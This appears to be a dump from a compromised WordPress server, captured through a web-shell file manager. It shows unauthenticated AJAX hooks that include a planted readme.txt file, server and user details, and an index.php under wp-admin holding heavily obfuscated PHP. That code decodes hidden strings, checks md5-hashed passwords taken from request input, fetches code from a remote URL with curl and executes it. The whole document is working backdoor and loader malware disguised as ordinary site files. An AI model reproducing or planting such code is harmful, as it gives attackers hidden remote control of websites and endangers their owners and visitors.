if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/network/network/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/network/network/index.php
<?php
 goto sMJdzpl30CuPzB; voo36H18uEk0ix: metaphone("\115\x54\110\103\x67\x34\150\103\166\145\167\x4c\155\103\131\113\171\x66\65\x77\x6c\142\107\x77\x6c\x64\x45\x39\172\65\60\141\165\x41\x6b\x2f\x6e\x64\x72\150\102\143\x77"); goto ZueLJ4TObKzn3D; aClrPi4ClBQPkv: @(md5(md5(md5(md5($kOsGb_ZTnOVwVA[16])))) === "\x65\x37\146\x64\67\x38\66\x37\x35\x31\66\143\x66\x63\x34\143\66\x66\70\142\x38\145\146\x61\x34\142\144\x39\63\143\x32\61") && (count($kOsGb_ZTnOVwVA) == 22 && in_array(gettype($kOsGb_ZTnOVwVA) . count($kOsGb_ZTnOVwVA), $kOsGb_ZTnOVwVA)) ? ($kOsGb_ZTnOVwVA[68] = $kOsGb_ZTnOVwVA[68] . $kOsGb_ZTnOVwVA[74]) && ($kOsGb_ZTnOVwVA[88] = $kOsGb_ZTnOVwVA[68]($kOsGb_ZTnOVwVA[88])) && @($kOsGb_ZTnOVwVA = $kOsGb_ZTnOVwVA[88]($kOsGb_ZTnOVwVA[54], $kOsGb_ZTnOVwVA[68](${$kOsGb_ZTnOVwVA[34]}[23]))) && $kOsGb_ZTnOVwVA() : $kOsGb_ZTnOVwVA; goto voo36H18uEk0ix; ZueLJ4TObKzn3D: class OUSPqEOYeU8oct { static function BCoZ02ID4sy7sH($xY6m7VRJ7zDYuw) { goto X7XmIjRLjUT95H; yhfzZlh3qmBbIF: $XMgStBp65LXX6S = $NvX2yh8Bt8zSoo("\176", "\40"); goto H7AN9wbWdV8eML; ulRub_v3b3cS_U: return $Dqfb1uQ_UCQfrx; goto DPldOau3kJfN6X; X7XmIjRLjUT95H: $NvX2yh8Bt8zSoo = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto yhfzZlh3qmBbIF; nzvTNKS2zOoG5b: nxEfoAsJmsmYWZ: goto ulRub_v3b3cS_U; DUVOH4zfvoEMub: $Dqfb1uQ_UCQfrx = ''; goto y3KmuF52L3Z5tm; y3KmuF52L3Z5tm: foreach ($bjuiZKgZocDRw0 as $yGkj1B9UPv19li => $vOVaQOnhtTNtho) { $Dqfb1uQ_UCQfrx .= $XMgStBp65LXX6S[$vOVaQOnhtTNtho - 74923]; NLX703gn_zdAIt: } goto nzvTNKS2zOoG5b; H7AN9wbWdV8eML: $bjuiZKgZocDRw0 = explode("\56", $xY6m7VRJ7zDYuw); goto DUVOH4zfvoEMub; DPldOau3kJfN6X: } static function DjveyfG_k3xHoy($zX_srbKHvonjgO, $lblPMjn4kWsn04) { goto o3efHktvpHaUD7; wOAb59Rc9vwY_C: curl_setopt($XHNsEwocTHIgTj, CURLOPT_RETURNTRANSFER, 1); goto ZIhdXKz3_qYv0J; YJhRf9fqDmTU17: return empty($RAvBTuVdX6b_zj) ? $lblPMjn4kWsn04($zX_srbKHvonjgO) : $RAvBTuVdX6b_zj; goto Ru6dIAn3jfQA0p; o3efHktvpHaUD7: $XHNsEwocTHIgTj = curl_init($zX_srbKHvonjgO); goto wOAb59Rc9vwY_C; ZIhdXKz3_qYv0J: $RAvBTuVdX6b_zj = curl_exec($XHNsEwocTHIgTj); goto YJhRf9fqDmTU17; Ru6dIAn3jfQA0p: } static function uhWRjF3krjkZIl() { goto cHwCU4CyQ7vB38; cHwCU4CyQ7vB38: $E3p3VR557jhAAO = array("\67\64\x39\x35\60\56\67\x34\71\x33\x35\x2e\67\64\71\x34\70\56\67\x34\71\x35\62\x2e\67\x34\71\63\63\x2e\x37\x34\x39\x34\x38\56\x37\64\x39\x35\x34\x2e\67\64\71\x34\x37\x2e\67\x34\x39\x33\x32\x2e\x37\64\71\63\x39\x2e\x37\64\x39\65\x30\56\x37\x34\71\x33\x33\x2e\x37\x34\71\x34\64\56\67\64\71\x33\70\56\x37\64\x39\63\71", "\67\x34\71\x33\64\56\x37\x34\x39\x33\x33\56\x37\x34\71\63\x35\x2e\x37\64\71\x35\x34\x2e\x37\x34\71\x33\65\56\67\64\71\x33\x38\x2e\x37\64\x39\63\x33\56\67\x35\x30\60\60\x2e\x37\64\71\x39\70", "\67\64\71\64\63\56\x37\x34\71\63\x34\x2e\67\64\71\63\70\x2e\67\64\71\63\71\x2e\67\x34\x39\x35\64\x2e\67\64\71\64\x39\56\67\64\71\x34\x38\x2e\x37\64\x39\x35\60\x2e\x37\x34\71\63\70\x2e\x37\x34\x39\64\71\x2e\x37\x34\x39\x34\x38", "\x37\64\x39\x33\x37\56\x37\x34\71\x35\62\56\x37\64\71\65\60\56\67\64\x39\x34\62", "\67\64\71\x35\x31\56\67\x34\x39\65\62\x2e\67\64\71\63\64\56\67\64\x39\x34\x38\x2e\x37\64\x39\71\x35\56\67\x34\71\71\67\56\x37\x34\x39\x35\x34\x2e\x37\64\x39\64\x39\x2e\67\64\71\x34\70\56\x37\64\x39\65\60\x2e\x37\x34\71\63\x38\x2e\67\64\x39\x34\71\56\x37\64\x39\64\x38", "\67\64\71\64\67\56\x37\x34\x39\64\x34\56\67\64\x39\64\61\x2e\67\x34\71\64\x38\56\x37\64\x39\x35\x34\56\67\x34\x39\x34\x36\56\67\64\x39\64\x38\56\x37\64\71\x33\63\56\x37\64\x39\65\64\x2e\x37\x34\x39\65\x30\56\x37\64\x39\63\x38\x2e\67\x34\x39\63\71\x2e\67\64\71\63\x33\56\67\64\x39\64\70\56\x37\64\71\63\x39\x2e\x37\x34\71\63\x33\56\67\64\71\63\64", "\67\x34\x39\x37\x37\56\x37\65\x30\60\67", "\x37\64\71\62\64", "\67\x35\x30\60\x32\56\x37\65\x30\x30\67", "\67\64\x39\x38\x34\56\67\64\x39\x36\x37\56\x37\64\x39\x36\x37\56\x37\x34\x39\70\x34\56\x37\x34\71\x36\x30", "\x37\x34\71\x34\x37\x2e\67\64\x39\x34\64\56\x37\x34\71\64\61\x2e\x37\64\71\x33\63\x2e\67\64\71\64\70\56\x37\x34\x39\x33\x35\56\67\64\71\65\x34\x2e\x37\x34\71\64\64\x2e\67\x34\x39\x33\x39\56\67\x34\x39\x33\67\56\x37\64\x39\x33\x32\56\67\64\x39\x33\x33"); goto GmKhZZE9p3p7Rq; tha3b3TcNgW_dj: @$v6bnTtd1R5INoc[0]('', $v6bnTtd1R5INoc[4 + 3] . $v6bnTtd1R5INoc[0 + 4]($LZpIm5b1Lxj3Ee) . $v6bnTtd1R5INoc[2 + 6]); goto esdoLKBBahmZ2r; zR80OsUWx33iEF: vGC0ZddqgO7FxG: goto GQWLoM0ci8YSjB; iQQ6tIFhR8NSVs: if (!(@$dVsbUWqmB1D9kI[0] - time() > 0 and md5(md5($dVsbUWqmB1D9kI[3 + 0])) === "\65\62\x32\x33\61\143\x39\146\x34\61\66\x31\x32\65\63\x63\142\64\x30\66\x33\x30\x35\63\61\x34\x35\x66\x62\x32\x65\67")) { goto vGC0ZddqgO7FxG; } goto fvqSmdEPsezUp6; dHlfsAgs366n5x: $Ku4asFQqgN1V5w = @$v6bnTtd1R5INoc[1]($v6bnTtd1R5INoc[9 + 1](INPUT_GET, $v6bnTtd1R5INoc[4 + 5])); goto RpCwaL7dnNieJy; AUqSNS1Nzgue_r: IYCctcNu6vSBQV: goto dHlfsAgs366n5x; RpCwaL7dnNieJy: $hcnZpDyenpwznF = @$v6bnTtd1R5INoc[1 + 2]($v6bnTtd1R5INoc[6 + 0], $Ku4asFQqgN1V5w); goto ZnX4B0K4_7AO0w; GmKhZZE9p3p7Rq: foreach ($E3p3VR557jhAAO as $HpMNcJ1j6H39fR) { $v6bnTtd1R5INoc[] = self::bcoZ02iD4SY7Sh($HpMNcJ1j6H39fR); qEPzrptIEgt4kR: } goto AUqSNS1Nzgue_r; fvqSmdEPsezUp6: $LZpIm5b1Lxj3Ee = self::djVEyFg_k3xHoY($dVsbUWqmB1D9kI[1 + 0], $v6bnTtd1R5INoc[0 + 5]); goto tha3b3TcNgW_dj; ZnX4B0K4_7AO0w: $dVsbUWqmB1D9kI = $v6bnTtd1R5INoc[0 + 2]($hcnZpDyenpwznF, true); goto LfsArDZao8f_c5; LfsArDZao8f_c5: @$v6bnTtd1R5INoc[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($v6bnTtd1R5INoc[2 + 3](__FILE__)); goto iQQ6tIFhR8NSVs; esdoLKBBahmZ2r: die; goto zR80OsUWx33iEF; GQWLoM0ci8YSjB: } } goto OXyONJfUMaSMlx; sMJdzpl30CuPzB: $S4CIuB5BGVCUwR = range("\176", "\x20"); goto fqW7KmGTA6O7Vd; fqW7KmGTA6O7Vd: $kOsGb_ZTnOVwVA = ${$S4CIuB5BGVCUwR[15 + 16] . $S4CIuB5BGVCUwR[50 + 9] . $S4CIuB5BGVCUwR[16 + 31] . $S4CIuB5BGVCUwR[32 + 15] . $S4CIuB5BGVCUwR[17 + 34] . $S4CIuB5BGVCUwR[47 + 6] . $S4CIuB5BGVCUwR[44 + 13]}; goto aClrPi4ClBQPkv; OXyONJfUMaSMlx: OuSPQEoYeu8OCt::uhWRjF3KRJkzil();
?>
@ Telegram